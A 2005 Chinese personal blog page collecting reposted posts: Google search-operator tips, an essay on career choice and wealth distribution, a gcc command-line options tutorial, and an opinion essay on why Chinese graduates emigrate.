Friday, October 21, 2005

Google搜索技巧2005版

注意:文中[]符号是为了突出关键词,在实际搜索中是不包含的;本文采用的是意译;本译文已经征得作者许可;本译文可任意转载,请保留本文的头信息

  1. 双引号可以用减号代替,比如搜索["like this"]与搜索[like-this]是一个效果

  2. Google不会处理一些特殊的字符,比如[#](几年前还不行,现在可以了,比如搜索[c#]已经可以搜到相应的结果),但是还有一些字符它不认识,比如搜索[t.]、[t-]与[t^]的结果是一样的

  3. Google充许一次搜索最多32个关键词

  4. 在单词前加~符号可以搜索同义词,比如你想搜索[house],同时也想找[home],你就可以搜索[~house]

  5. 如果想得到Google索引页面的总数,可以搜索[* *]

  6. Google可以指定数字范围搜索。搜索[2001..2005]相当于搜索含有2001、2002直到2005的任意一个数的网页

  7. 搜索[define:css]相当于搜索css的定义,这招对想学习知识的人很有效;也可以用[what is css]搜索;对中文来说,也可以用[什么是css]之类的

  8. Google有一定的人工智能,可以识别一些简单的短语如[whenwas Einstein born?]或[einstein birthday]

  9. 通过[link:]语法,可以寻找含有某个链接的网页,比如[link:blog.outer-court.com]将找到包括指向 blog.outer-court.com超级链接的网页(最新的Google Blog Search也支持这个语法),但是Google并不会给出所有的包含此链接的网页,因为它要保证pagerank算法不被反向工程(呵呵,可以参见那两个Google创始人关于pagerank的论文,可下载)

  10. 如果在搜索的关键词的最后输入[why?],就会在结果中出现链接到Google Answers的链接http://answers.google.com ,在里面可以进行有偿提问

  11. 现在出现了一种兴趣活动,叫做Google Hacking,其内容是使用Google搜索一些特定的关键词,以便找到有漏洞的、易被黑客攻击的站点。这个网站列出了这些关键词:Google Hacking Database( http://johnny.ihackstuff.com/index....ule=prodreviews )

12. 在Google 中输入一组关键词时,默认是"与"搜索,就是搜索包含有所有关键词的网页。如果要"或"搜索,可以使用大写的[OR]或 [|],使用时要与关键词之间留有空格。比如搜索关键词[Hamlet (pizza | coke)],是让Google搜索页面中或页面链接描述中含有Hamlet,并含有pizza与coke两个关键词中任意一个的网页。

  13. 并非所有的Google服务都支持相同的语法,比如在Google Group中支持 [insubject:test]之类的主题搜索。可以通过高级搜索来摸索这些关键词的用法:进入高级搜索之后设置搜索选项,然后观察关键字输入窗口中的关键字的变化

  14. 有时候Google懂得一些自然语言,比如搜索关键词[goog], [weather new york, ny], [new york ny]或[war of the worlds],此时Google会在搜索结果前显示出一个被业内称为"onebox"的结果,试试看吧!

  15. 并非所有的Google都是相同的,它因国家版本(或是说语言版本)而异。在US版下,搜索[site:stormfront.org]会有成千上万的结果,而在德语版下,搜索[site:stormfront.org]的结果,嗯,自己看吧。Google的确与各国政府有内容审查协议,比如德国版,法国版(网页搜索),中国版Google新闻

  16. 有时候Google会提示你搜索结果很烂,比如你搜索关键词[jew]试试,Google会告诉你它给出的搜索结果很烂,然后给你一个解释:http://www.google.com/explanation.html

  17. 以前,搜索某些关键词如[work at Google] 时会看到Google给自己打的广告。可以去http://www.google.com/jobs/了解Google的工作

  18. 对于一些"Googlebombed"(大概意思是指Google搜索的结果出问题了)的关键词,会有一个广告链接到:http: //googleblog.blogspot.com/2005/09/googlebombing-failure.html (中国大陆需要代理才能访问)。比如搜索[failure],第一条是美国布什总统介绍

  19. 虽然现在Google还没有支持自然语言,但这里有一段录像显示了支持自然语言的搜索引擎的使用效果:http://blog.outer-court.com/videos/googlebrain.wmv

  20. 有人说在Google中搜索[president of the internet],其结第一条表明了president of the internet是谁,我也是这么认为的,而且你还可以使用这个logo支持本文作者:http://blog.outer- court.com/files/president.gif

  21. Google现在不再有"stop words"(被强制忽略的关键词),比如搜索 [to be or not to be], Google返回的结果中间还列有相关的完整短语搜索结果

  22. 在Google 计算器(http://www.google.com/help/features.html#calculator )中有个彩蛋:输入[what is the answer to life, the universe and everything?]时,会返回42。(关键词翻译过来的意思是指"生命、宇宙和一切的答案",这是一个著名科幻小说中的情节,详情参见http: //en.wikipedia.org/wiki/The_Answer_to_Life,_the_Universe, _and_Everything)。试试吧,哈哈

  23. 你可以在搜索时使用通配符[*],这在搜索诗词时特别有效。比如你可以搜一下["love you twice as much * oh love * *"] 试试

  24. 同样,你的关键词可以全部都是通配符,比如搜索["* * * * * * *"]

  25. www.googl.com是在输错网址后的结果,也是个搜索网站,但搜索结果与Google完全不同。而且此网站也赚Google的钱,因为它使用Google AdSense

  26. 如果你想把搜索结果限制在大学的网站之中,可以使用[site:.edu]关键词,比如[c-tutorial site:.edu],这样可以只搜索以edu结尾的网站。你也可以使用Google Scholar来达到这个目的。也可以使用[site:.de]或[site:.it]来搜索某个特定国家的网站12. 在Google 中输入一组关键词时,默认是"与"搜索,就是搜索包含有所有关键词的网页。如果要"或"搜索,可以使用大写的[OR]或 [|],使用时要与关键词之间留有空格。比如搜索关键词[Hamlet (pizza | coke)],是让Google搜索页面中或页面链接描述中含有Hamlet,并含有pizza与coke两个关键词中任意一个的网页。

read more...

Thursday, October 20, 2005

转载:闭门思过,发牢骚

看到一篇不错的文章,转载于yuzhiwei的blog:http://spaces.msn.com/members/yuzhiwei9/Blog/cns!1pkqTEHqyptrtsouZZgFJpEg!126.entry?owner=1


闭门思过,发牢骚。
闲居数日,又看了一些文章,再乱发点牢骚。 不管国家的整体教育政策是否优秀成功,她毕竟给我们提供了一个接收知识,实践知识的平台,锻炼了我们起码的学习和实践能力。俗话说“不知者不怪”。经过国家多年的培养,我们能接触到的信息越来越多,已经不能算“不知者”了,进而应该感到的责任也是越来越多,担心顾虑也会随之增加。 今天要发的牢骚是:对马上要踏入社会工作的学生来说,对人生追求的定位和国家经济发展趋势的把握是择业和规划自己未来职业发展所必须的。
1,对个人来说,奋斗所追求是什么?
问题:
中国现在经济形势看来一片大好,是不是先找份薪水高的工作,再找机会跻身社会中上阶层就是一生的追求了呢?要先看看国家经济发展的形势。
一个常被引用的例子:
假设在一个地方发现了金矿,来了一个人投资建了一个矿场,雇一百个工人为他淘金,每年获利1000万。
第一种情况:每年获利1000万,矿主把其中10%作为工资发下去,每个工人一年1万。这些钱只够他们勉强填饱肚子,没有钱租房子,没有钱讨老婆,只能住窝棚。矿主一年赚了900万,但是看一看满眼都是穷人,本地再投资什么都不会有需求。于是,他把钱转到国外,因为在本地根本就不安全,他盖几个豪华别墅,雇几个工人当保镖,工人没有前途,除了拼命工作糊口,根本没有别的需求。唯一可能有戏的就是想办法骗一个老婆来,生一个漂亮女儿,或许还可以嫁给矿主做老婆。 50年下去以后,这个地方除了豪华别墅,依然没有别的产业。等到矿挖完了,矿主带着巨款走了,工人要么流亡,要么男的为盗,女的为娼。
而第二种情况是这样的:每年获利1000万,矿主把其中的50%做为工人工资发下去,每个工人每年收入5万,他们拿一万来租房子,剩下的四万可以结婚,生孩子,成家立业,矿主手里还有五百万,可以做投资。因为工人手里有钱,要安家落户,所以,房子出现需求。于是矿主用手里的钱盖房子,租给工 人,或者卖给工人。工人要吃要喝,所以,开饭店,把工人手里的钱再赚回来。开饭馆又要雇别的工人,于是工人的妻子有了就业机会,也有了收入。一个家庭的消费需求就更大了。这样,几年之后,在这个地方出现了100个家庭。孩子要读书,有了教育的需求,于是有人来办学校,工人要约会,要消费,要做别的东西,于是有了电影院,有了商店,这样,50年过去以后,当这个地方的矿快被挖光了的时候,这里已经成了一个10万人左右的繁荣城市。
结论:这个例子说明了是社会财富分配方式的不同对经济反展产生的影响。
似乎人总是有攀比的概念:如果一个人比周围大多数人生活的好,他就能有满足感和优越感,认为自己是幸福的。矿主如果没有理性的长期规划,直觉上肯定会选择第一种方式来分配财富。我们可以看到,虽然他是在社会的最高层,可是这是一个没有希望的社会,你站在最高层又能怎样呢?一个人正确的追求,不是用掠夺的方式来赚取社会财富,而是努力为建立良好的财富再生体制做贡献,对人对己都是双赢的。
亨利?福特说,我要让我的每一个工人买的起我的T型车,这就是我的榜样。

2,去哪里,外企、大垄断国企?
再来看看经济形势。发展的策略不会永远以市场换技术,不会永远甘于做初级加工厂,处在食物链最底层。走出去,走到食物链的高层是发展的必然趋势。
表象:外企怎么样?薪水高,技术先进,企业文化自由,管理体制先进...大垄断国企怎么样?油水多,福利好,薪水和外企已经相差无几,制度正在改革,新企业文化也在培养中...
发展:外企:带有"××中国"字样的外企,注定了要作为"××"的附庸的。拿不到核心技术,永远没有能力另起炉灶,永远不能在世界市场上与"××"相提并论的,永远只是别人手下的打工仔。更重要的是,以低廉的劳动力换来的投资将不会长久,因为一旦出现劳动力成本更低的市场,跨国巨头马上就会进行产业转移。到了个时候,不知道在外企还能给我们留下什么。
大垄断国企:靠着国家政策垄断获利的企业,你能期望他能有创新和创业的文化么?你能期望这样的文化下的企业能靠自己的实力到国际市场上与国外的跨国公司死磕么?
中小型私企或者新兴高科技国企:这部分的企业比较参差不齐。但是那些自立更生为主,正在发展自有知识产权的技术和产品的企业是我看好的。我知道一个例子,学汽车的,不如去奇瑞。这些地方才是中国未来的希望。近来听说国家科技战略全面修整,总结韩国经验拒绝拉美化,将来这些地方才是国家需要重点扶植的。
结论:如果想学技术,想受良好的企业文化和管理体制熏陶,可以先到外企去,但这永远是权益之计。如果想做自己的技术,要做自己的事业,最终还是要回到我们的民族企业中来。
3,鲁迅先生说,最有希望的就是我们的青年。最有希望的人应该有着最有希望的追求,投身到最有希望的事业里面,不是么?

read more...

UNIX系统开发-gcc参数详解

UNIX系统开发-gcc参数详解
[转载自 http://www.linuxfans.org]

[介绍]
gcc and g++分别是gnu的c & c++编译器 gcc/g++在执行编译工作的时候,总共需要4步

1.预处理,生成.i的文件[预处理器cpp]
2.将预处理后的文件不转换成汇编语言,生成文件.s[编译器egcs]
3.有汇编变为目标代码(机器代码)生成.o的文件[汇编器as]
4.连接目标代码,生成可执行程序[链接器ld]
[参数详解]
-x language filename
  设定文件所使用的语言,使后缀名无效,对以后的多个有效.也就是根据约定C语言的后
缀名称是.c的,而C++的后缀名是.C或者.cpp,如果你很个性,决定你的C代码文件的后缀
名是.pig 哈哈,那你就要用这个参数,这个参数对他后面的文件名都起作用,除非到了
下一个参数的使用。
  可以使用的参数吗有下面的这些
  `c', `objective-c', `c-header', `c++', `cpp-output', `assembler', and `a
ssembler-with-cpp'.
  看到英文,应该可以理解的。
  例子用法:
  gcc -x c hello.pig
  
-x none filename
  关掉上一个选项,也就是让gcc根据文件名后缀,自动识别文件类型
  例子用法:
  gcc -x c hello.pig -x none hello2.c
  
-c
  只激活预处理,编译,和汇编,也就是他只把程序做成obj文件
  例子用法:
  gcc -c hello.c
  他将生成.o的obj文件
-S
  只激活预处理和编译,就是指把文件编译成为汇编代码。
  例子用法
  gcc -S hello.c
  他将生成.s的汇编代码,你可以用文本编辑器察看
-E
  只激活预处理,这个不生成文件,你需要把它重定向到一个输出文件里面.
  例子用法:
  gcc -E hello.c > pianoapan.txt
  gcc -E hello.c more
  慢慢看吧,一个hello word 也要与处理成800行的代码
-o
  制定目标名称,缺省的时候,gcc 编译出来的文件是a.out,很难听,如果你和我有同感
,改掉它,哈哈
  例子用法
  gcc -o hello.exe hello.c (哦,windows用习惯了)
  gcc -o hello.asm -S hello.c
-pipe
  使用管道代替编译中临时文件,在使用非gnu汇编工具的时候,可能有些问题
  gcc -pipe -o hello.exe hello.c
-ansi
  关闭gnu c中与ansi c不兼容的特性,激活ansi c的专有特性(包括禁止一些asm inl
ine typeof关键字,以及UNIX,vax等预处理宏,
-fno-asm
  此选项实现ansi选项的功能的一部分,它禁止将asm,inline和typeof用作关键字。
    
-fno-strict-prototype
  只对g++起作用,使用这个选项,g++将对不带参数的函数,都认为是没有显式的对参数
的个数和类型说明,而不是没有参数.
  而gcc无论是否使用这个参数,都将对没有带参数的函数,认为城没有显式说明的类型

  
-fthis-is-varialble
  就是向传统c++看齐,可以使用this当一般变量使用.
  
-fcond-mismatch
  允许条件表达式的第二和第三参数类型不匹配,表达式的值将为void类型
  
-funsigned-char
-fno-signed-char
-fsigned-char
-fno-unsigned-char
  这四个参数是对char类型进行设置,决定将char类型设置成unsigned char(前两个参
数)或者 signed char(后两个参数)
  
-include file
  包含某个代码,简单来说,就是便以某个文件,需要另一个文件的时候,就可以用它设
定,功能就相当于在代码中使用#include
  例子用法:
  gcc hello.c -include /root/pianopan.h
  
-imacros file
  将file文件的宏,扩展到gcc/g++的输入文件,宏定义本身并不出现在输入文件中
  
-Dmacro
  相当于C语言中的#define macro
  
-Dmacro=defn
  相当于C语言中的#define macro=defn
  
-Umacro
  相当于C语言中的#undef macro
-undef
  取消对任何非标准宏的定义
  
-Idir
  在你是用#include"file"的时候,gcc/g++会先在当前目录查找你所制定的头文件,如
果没有找到,他回到缺省的头文件目录找,如果使用-I制定了目录,他
  回先在你所制定的目录查找,然后再按常规的顺序去找.
  对于#include,gcc/g++会到-I制定的目录查找,查找不到,然后将到系统的缺
省的头文件目录查找
  
-I-
  就是取消前一个参数的功能,所以一般在-Idir之后使用
  
-idirafter dir
  在-I的目录里面查找失败,讲到这个目录里面查找.
  
-iprefix prefix
-iwithprefix dir
  一般一起使用,当-I的目录查找失败,会到prefix+dir下查找
  
-nostdinc
  使编译器不再系统缺省的头文件目录里面找头文件,一般和-I联合使用,明确限定头
文件的位置
  
-nostdin C++
  规定不在g++指定的标准路经中搜索,但仍在其他路径中搜索,.此选项在创libg++库
使用
  
-C
  在预处理的时候,不删除注释信息,一般和-E使用,有时候分析程序,用这个很方便的

  
-M
  生成文件关联的信息。包含目标文件所依赖的所有源代码你可以用gcc -M hello.c
来测试一下,很简单。
  
-MM
  和上面的那个一样,但是它将忽略由#include造成的依赖关系。
  
-MD
  和-M相同,但是输出将导入到.d的文件里面
  
-MMD
  和-MM相同,但是输出将导入到.d的文件里面
  
-Wa,option
  此选项传递option给汇编程序;如果option中间有逗号,就将option分成多个选项,然
后传递给会汇编程序
  
-Wl.option
  此选项传递option给连接程序;如果option中间有逗号,就将option分成多个选项,然
后传递给会连接程序.
  
-llibrary
  制定编译的时候使用的库
  例子用法
  gcc -lcurses hello.c
  使用ncurses库编译程序
  
-Ldir
  制定编译的时候,搜索库的路径。比如你自己的库,可以用它制定目录,不然
  编译器将只在标准库的目录找。这个dir就是目录的名称。
  
-O0
-O1
-O2
-O3
  编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高 
    
-g
  只是编译器,在编译的时候,产生调试信息。
  
-gstabs
  此选项以stabs格式声称调试信息,但是不包括gdb调试信息.
  
-gstabs+
  此选项以stabs格式声称调试信息,并且包含仅供gdb使用的额外调试信息.
  
-ggdb
  此选项将尽可能的生成gdb的可以使用的调试信息.
-static
  此选项将禁止使用动态库,所以,编译出来的东西,一般都很大,也不需要什么
动态连接库,就可以运行.
-share
  此选项将尽量使用动态库,所以生成文件比较小,但是需要系统由动态库.
-traditional
  试图让编译器支持传统的C语言特性
[参考资料]
-Linux/UNIX高级编程
  中科红旗软件技术有限公司编著.清华大学出版社出版
-Gcc man page
  
[ChangeLog]
-2002-08-10
  ver 0.1 发布最初的文档
-2002-08-11
  ver 0.11 修改文档格式
-2002-08-12
  ver 0.12 加入了对静态库,动态库的参数
-2002-08-16
  ver 0.16 增加了gcc编译的4个阶段的命令
运行 gcc/egcs
**********运行 gcc/egcs***********************
  GCC 是 GNU 的 C 和 C++ 编译器。实际上,GCC 能够编译三种语言:C、C++ 和 O
bject C(C 语言的一种面向对象扩展)。利用 gcc 命令可同时编译并连接 C 和 C++
源程序。
  如果你有两个或少数几个 C 源文件,也可以方便地利用 GCC 编译、连接并生成可
执行文件。例如,假设你有两个源文件 main.c 和 factorial.c 两个源文件,现在要编
译生成一个计算阶乘的程序。
代码:
-----------------------
清单 factorial.c
-----------------------
int factorial (int n)
{
  if (n <= 1)
   return 1;
  else
   return factorial (n - 1) * n;
}
-----------------------
清单 main.c
-----------------------
#include 
#include 
int factorial (int n);
int main (int argc, char **argv)
{
  int n;
  if (argc < 2)
  {
    printf ("Usage: %s n\n", argv [0]);
    return -1;
  }
  else
  {
   n = atoi (argv[1]);
   printf ("Factorial of %d is %d.\n", n, factorial (n));
   }
  return 0;
}
-----------------------
利用如下的命令可编译生成可执行文件,并执行程序:
$ gcc -o factorial main.c factorial.c
$ ./factorial 5
Factorial of 5 is 120.
  GCC 可同时用来编译 C 程序和 C++ 程序。一般来说,C 编译器通过源文件的后缀
名来判断是 C 程序还是 C++ 程序。在 Linux 中,C 源文件的后缀名为 .c,而 C++ 源
文件的后缀名为 .C 或 .cpp。但是,gcc 命令只能编译 C++ 源文件,而不能自动和 C
++ 程序使用的库连接。因此,通常使用 g++ 命令来完成 C++ 程序的编译和连接,该程
序会自动调用 gcc 实现编译。假设我们有一个如下的 C++ 源文件(hello.C):
#include
void main (void)
{
  cout << "Hello, world!" << endl;
}
则可以如下调用 g++ 命令编译、连接并生成可执行文件:
$ g++ -o hello hello.C
$ ./hello
Hello, world!
**********************gcc/egcs 的主要选项*********
gcc 命令的常用选项
选项 解释
-ansi 只支持 ANSI 标准的 C 语法。这一选项将禁止 GNU C 的某些特色,
例如 asm 或 typeof 关键词。
-c 只编译并生成目标文件。
-DMACRO 以字符串“1”定义 MACRO 宏。
-DMACRO=DEFN 以字符串“DEFN”定义 MACRO 宏。
-E 只运行 C 预编译器。
-g 生成调试信息。GNU 调试器可利用该信息。
-IDIRECTORY 指定额外的头文件搜索路径DIRECTORY。
-LDIRECTORY 指定额外的函数库搜索路径DIRECTORY。
-lLIBRARY 连接时搜索指定的函数库LIBRARY。
-m486 针对 486 进行代码优化。
-o FILE 生成指定的输出文件。用在生成可执行文件时。
-O0 不进行优化处理。
-O 或 -O1 优化生成代码。
-O2 进一步优化。
-O3 比 -O2 更进一步优化,包括 inline 函数。
-shared 生成共享目标文件。通常用在建立共享库时。
-static 禁止使用共享连接。
-UMACRO 取消对 MACRO 宏的定义。
-w 不生成任何警告信息。
-Wall 生成所有警告信息。

read more...

Tuesday, October 18, 2005

为什么北京大学生们像狗一样争着出国[转载]


为什么北京大学生们像狗一样争着出国前几天,,一位清华学生发表了他对出国的热切渴望并详列理由,受到追捧回应。俺一度也想写上那么一篇,来谈谈大学生为啥要抢着出国。笔者目前在国内工作,北大读完本科后从业两年。中国大学生历来是关注焦点,任何新闻,只要和大学生扯上了,都是热门。前段日子,有个记者叫陈杰人,一度成为知名人物,他也没做啥大事,就是披露了武汉女大学生“陪聊”的事情。几乎是同一时期,卫生部副部长宣称中国有六百万以上的妓女,关心的人却寥寥无几。
  大学生,在中国历来被视为纯洁,真诚的象征。仿佛人一进了大学,就高尚富贵起来,与众不同了。大学生卖肉,大学生行骗,大学生贪污腐败,女大学生傍大款,女大学生卖淫,个个都是众人关注的焦点,主角换个身份大伙就视而不见。
  大学生如今热衷出国,众人皆知。在中国,有出国权的人并不多。年轻人里,除高官富翁的子女,只有理工科大学生??往往还是成绩比较优秀的那种,才有出国的机会。那么多高官的子女,就算留在国内,也是要风有风,要雨得雨。可他们依然义无反顾的出国。大学生又如何?每年大学里出国的,都是成绩最优秀的那批,往往争offer争得头破血流。大学生出国可不容易,苦背GRE,花流水般的钱上新东方,多半还得租房子、等?offer、过签证,得历经九九八十一难,随时会有被拒的危险。就这么恶劣的竞争环境,这批本可在国内混得不错的人,依然削尖了脑袋出国,而且数量越来越多。
  大学生可并不代表知识分子群体。大学生是通过高考制度,从全国各个阶级里,选拔出来的优秀人才。它们的选择,与高官子弟的选择,其象征意义是不一样的。大学生的逃离代表着全体中国人的逃离。
  俺的大学记忆里,有这么件事儿。大三冬天的日子,托福报名。那时候,托福考试可不像现在那么灵活,一到报名日,就是人满为患,赶上一次报名,非得漏夜排队不可。俺和几个哥们拿着小凳子和报纸,在附近一个报名点旁边守夜。从零点,在寒风中一直等到东方泛起鱼肚白,终于等到人家上班了。因为队伍太长,几百个人混乱不堪,专门拨出了警力来维持队伍。警察花了半个小时,把这几百人的队伍整好了。怎么整的呢?用脚。看看谁没站好,就狠狠地用脚踢他的大腿和小腿,直到把他踢到队伍里为止。几百个学生,清华的、北大的、北外的……凡你能想起的最牛气的学校中的自尊心最高,恃才而傲眼高于顶不可一世的最牛的学生,就咬着牙齿,在那里默默忍受几个警察喝斥、脚踹的社会主义教育。
  ?这是为了离开这个国度所付出的代价之一。
  中国人市民对北大学生和清华学生有个最大的误判,他们以为,北大学生和清华学生是不同的。例如北大是理想主义的,清华是实用主义的。北大学生是反抗型的,清华学生是乖乖型的。北大学生是自由化的,清华学生是爱政府的。北大学生是个人主义的,清华学生是国家主义的……。其实,这些只是**。在出国问题上,北大和清华学生是完全一致的,不含糊的。唯一的不同是:北大学生一边骂这个社会,一边出国,而清华学生一边赞扬这个社会,一边出国,然后他们之间的绝大多数读phd,找工作,入美国籍,定居。
  俺在清华也有几个好友,97年,清华有个响亮的口号,叫“为祖国健康工作五十年”
  ,这句话琅琅上口,有气势,清华小伙很爱喊,直到他们出国为止。俺在清华的朋友,在美国建立了庞大的同学会,留在中国倒显得孤零零了。
  中国知识分子最是忍让。他们秉承了中国人吃苦耐劳,小富即安,嫁鸡随鸡,百忍成精的优良传统,院士王选转述领导人的话说:中国知识分子价廉物美。两千块钱的工资,就可以随意使唤。中国知识分子安于现状,能够忍贫受饥。适应能力比蟑螂更强,在金星上也能生存。近期报导的陆步轩,从一个北大中文系高材生,适应成一个卖肉屠夫,这样的生活现状也没有让他成为土匪或是人肉炸弹。中国的知识分子就是这样善于忍受,只要一点点尊重,一点点慰籍,一点点利益,他们就可以在中国呆下去。可还是呆不下去。
  中国对待知识的态度很奇特。比如说,一个工人,每个小时可以生产出十元的产品。
  一个受过良好教育的工程师,改良了机器、流程、管理,于是一个工人每个小时可以生产出一百元的产品。那么这多出来的九十元算是谁的功劳呢?西方人对此争论不休,有些人说,工人产出的是十元,工程师的价值当然是九十元;有些人说,工人也提高了效率和劳动强度应该得五十元,工程师五十元比较公平。但中国人会说:我们工人的产量增加了,感谢领导们对工人的指导,对工程师的培养与栽培。这九十元是领导的功劳,剩下的十元,请尊敬的工人同志和尊敬的工程师同志平分吧。
  这是对待理工科知识分子的态度,那种只会写文章的家伙就更加糟糕。文革以后,活的舒服的,都是拍马屁拍得响的。说真话的,不会拍马屁的,甚至拍马屁拍得不那么响的,基本上都在大牢里,或者干脆死翘翘了。这些事情大伙听得太多,所以俺就不讲了,这次和大家侃侃混得还算可以的理工类知识分子和工程师们。以史为鉴,以史为鉴。
  俺举的例子,都是那些在国内混得不错的家伙,那些受迫害的,找了根绳子上吊的知识分子,大伙耳朵都听得起茧了。但迫害归迫害,对权力不利的家伙可以统统去死,可有些人是必须活下来了,要是知识分子死绝了,就啥事也干不了。毛泽东最瞧不起知识分子了,整一批死一批的。可一旦领导人或者领导人的家属生了病,包括他自己在内,个个都找的是那些医学界反动学术权威,还没听说过谁找了个赤脚医生给自己看病的。
  以史为鉴之五十年代:华罗庚??建国来待遇最好的理论数学家。
  华罗庚算是那个时代混得最不错的知识分子之一,他天分极高,不到二十岁就在《科学》杂志上发表论文,后从事数论研究。二十六岁成为剑桥大学访问学者。中日战争爆发后,在中国形势最恶劣时回国于西南联合大学任教。中日战争结束后,受聘为美国普林斯顿大学教授。共和国成立后,五零年,放弃国外的优越待遇回国。议定好的年薪是八百斤小米,当然后来没有全给。这位已发表过两百多篇论文和专著的数学家在新中国继续从事研究工作。由于华罗庚对政治不感兴趣,所以在文革中没有受太大冲击。虽然他被拉进了政协,但实际上没有对政治发表过只言片语。
  在1968年,中共中央组织部部长郭玉峰在党代会上发表了《关于四届全国政协常委会委员政治情况的报告》,在该报告中,他指称74名全国政协常委会委员为叛徒,叛徒嫌疑,特务,特嫌,国特,反革命修正主义分子,里通外国分子等,占159名政协常委会委员的47%。建筑学家梁思成、生物学家童弟周、桥梁专家茅以升相继被打倒。
  但华罗庚却幸免于难。在数学家群体当中,他是最风光的一个,他是中国数学界的泰斗,中科院数学科学研究所所长,他很聪明,用一个在理论数学上毫无学术价值的“优选法”,来证明自己“贴近工农”,并在文革时期赴全国十八个省份讲演做专题报告,而其它的数学家此时大多在牛棚里度过余生。
  这个当时在全国算是最走运的一个数学家华罗庚,生活是怎样的呢?五零年以后,他再也没有能发表出有份量的成果。是条件不够好吗?从纵向比,抗日时期,他在西南联大,物资极度紧张,住在猪圈旁边,他依然可硕果累累。可五零年以后,生活条件好转,可他却出不了成果了。从横向比,被他指责为“贪图享乐不回国”的同龄人,大数学家陈省身,在国外屡屡突破,一举获得数学界最高荣誉之一沃尔夫奖,退休后衣锦还乡到南开大学享福去了。
  华罗庚五零年,毅然放弃优异待遇回国时,发表热情洋溢的爱国宣言:“良园虽好,却非久居之地”,影响了一代海外学人。十年后,他黯然对夫人说:“我想自杀。”
  。消息传出,又影响了一代海外学人。
  他没有精力再搞研究,因为他的同事处心积虑地揭发他,批判他。
  他二十年的手稿被红卫兵抄家后付之一炬。
  他放弃了自己喜爱的数论研究,放弃了自己的天赋,去搞应用数学和爱国主义教育。
  统筹法让他摆脱了“脱离群众、脱离工农”的口诛笔伐,使他获得全国巡回演讲的殊荣。可他自己知道这东西的生命力,文革以后,再也没有人用。
  他在海外的名声为他赢得了待遇,因为他是统战对象,是模范表率,所以要照顾他。
  可是其它人就不是了。他的儿子,一家四口人,住十四平方米屋子。他最得意的徒弟陈景润,住四人七平方米一间的宿舍。
  清华大学文革委员会主任迟群不断关心他的生活,陈景润成名之后,迟群不遗余力地动员他积极展开批判华罗庚的工作。
  华罗庚的优选法在辽宁省做成果展示时,主持辽宁党政军工作的毛远新(毛泽东侄子)对这位天才数学家高屋建瓴地指出:“优选法的‘最优’是不可能存在的,最优这一提法不科学,不符合马列主义,最多只能称为较优。”于是华罗庚只好带领他的弟子们连夜加班,将展示板里的“最优”统统改成了“较优”。
  这就是在国内待遇最好的数学家的遭遇。
  以史为鉴之七十年代:袁隆平??建国以来贡献最大的农学家。
  八十年代之前的二十年里,中国人是在饥饿中度过的。最有名的三年饥荒,按现在俺手头搜集的全国仅17个省的统计资料,加起来就饿死了2100万,预计全国的统计数字应该在2700-3000万之间。不过,俺认为统计数字肯定有问题,算少了。三千万是啥概念?全国一共有七十多万个生产大队,一个生产队大约?1000人,正常年份,每个生产队每年死亡10-15人,饥荒三年,每年死亡25-30人,全国就会多死三千万人。可俺那地头,老一辈的记忆里,死得可比这惨多了,所以俺认为三千万这个数字,肯定是少了。饥饿的不仅仅是那三年,整整二十年,俺老家的人就没有吃饱过。
  据老一辈说,真正重新吃饱饭,是在七十年代末,以前的稻子是高高的,风一吹就倒,换了矮水稻以后,粮食真是翻了出来。报纸上曾引述农民的话说:“我们吃饱饭,靠的是两‘平’。邓小平和袁隆平。20%,于1973年研究成功,1976年开始推广。八十年代,国际组织给他的奖项多得像米粒一样。中国有九亿农民,他一个人,相当于干了两亿农民的活。有人预估,他的种子共创造效益5600亿美元。假设其中分零头给他,那么他的资产就会大致与世界首富比尔盖茨587亿美元相当。
  那么袁隆平的真实情况是怎么样的呢?截至1998年,袁隆平的月工资是1600元。
  由于他做人老实本分,1953年被分配到偏远落后的湘西雪峰山麓安江农校教书。在那里,才华横溢的袁隆平的职称一直没有提升,工资一直原地踏步,房子依旧窄小阴暗,向上爬的机会被他那些会拍领导马屁的同事抢走了。他唯一的幸运是研究水稻。这是大伙吃饭用的东西,属于文革中保护品种,他住的又偏远,灾难没降临到他头上。
  文革中他也被人整过,罪名是毛泽东制定了农业八字办法:水、肥、土、种、密、保、工、管,他却偏偏认为要加一个“时”字。加上整天摆弄那些别人看不懂的瓶瓶罐罐,于是被打成反革命。
  文革中,他培养水稻的罐子被红卫兵们砸碎,辛苦培育的品种被他们扔到井里,不得不中断研究三年。遭到批斗和毒打。而如今,他的工作又被新的挺毛派红卫兵们,恬不知耻地称作“毛泽东时代的伟大成就”,有些干脆说是“毛泽东领导下的成就”。
  各位坛子上出国的老兄,听说过把受害人说成是自己的成就的吗?就像张志新,被辽宁党政班子割了喉管枪决。平反以后,辽宁省官员也声称“张志新同志的伟大精神是辽宁的光荣”。看看美国,政府给企业提供那么好的发展环境,可你有听说过美国把Intel奔腾芯片叫做“克林顿时代的伟大成就之一”的吗?1979年,美国圆环种子公司总经理威尔其惊叹中国的水稻成就,向中国农业部的官员咨询杂交水稻的发明人是谁,他要签约用高价向发明人申请专利使用权。对此,中国种子公司官员义正言辞地回答说,这个发明专利权属中国国家拥有。农业部种子公司就是代表国家享有这一权利的唯一代表。要探讨杂交水稻技术转让问题,无须再找“别人”。
  1980年,圆环种子公司向中国种子公司支付当时可谓是天价的20万美元首期专利转让费,袁隆平一分未得。
  1980年,为配合本次专利转让活动,袁隆平以专家身份出访美国做了四个月的技术指导。回国后,他所得的工资数千美元,被农业部悉数收缴,然后重新发给他每天20元人民币的出国补贴。
  1981年,国家科委、农委重奖杂交水稻发明人10万元奖金。但单位转手分下来以后,袁隆平仅得5000元。
  2003年,袁隆平在几十年多次创造奇迹以后,正式宣布由于研究经费匮乏,他的研究所的最新成果无法试产,将与美国公司合作。
  这就是国内贡献最大的农学研究员的故事。
  以史为鉴之九十年代:大学生??离上流社会最近的人。
  九十年代,不需要从个体身上截取例子。因为九十年代,俺们已经懂事,坛子上年岁大点的人,已经踏入社会。这不是历史,是在俺们身边发生的现实。
  法新社于今年十一月份发表了一条新闻,中国贸易促进会会长的千金,万季飞18岁的爱女万宝宝(译音)受邀出席法国巴黎最负盛名,为首次踏足社交界的千金小姐举办的舞会。她将正式在法国Crillon酒店的舞会上“进入法国上流社会”。
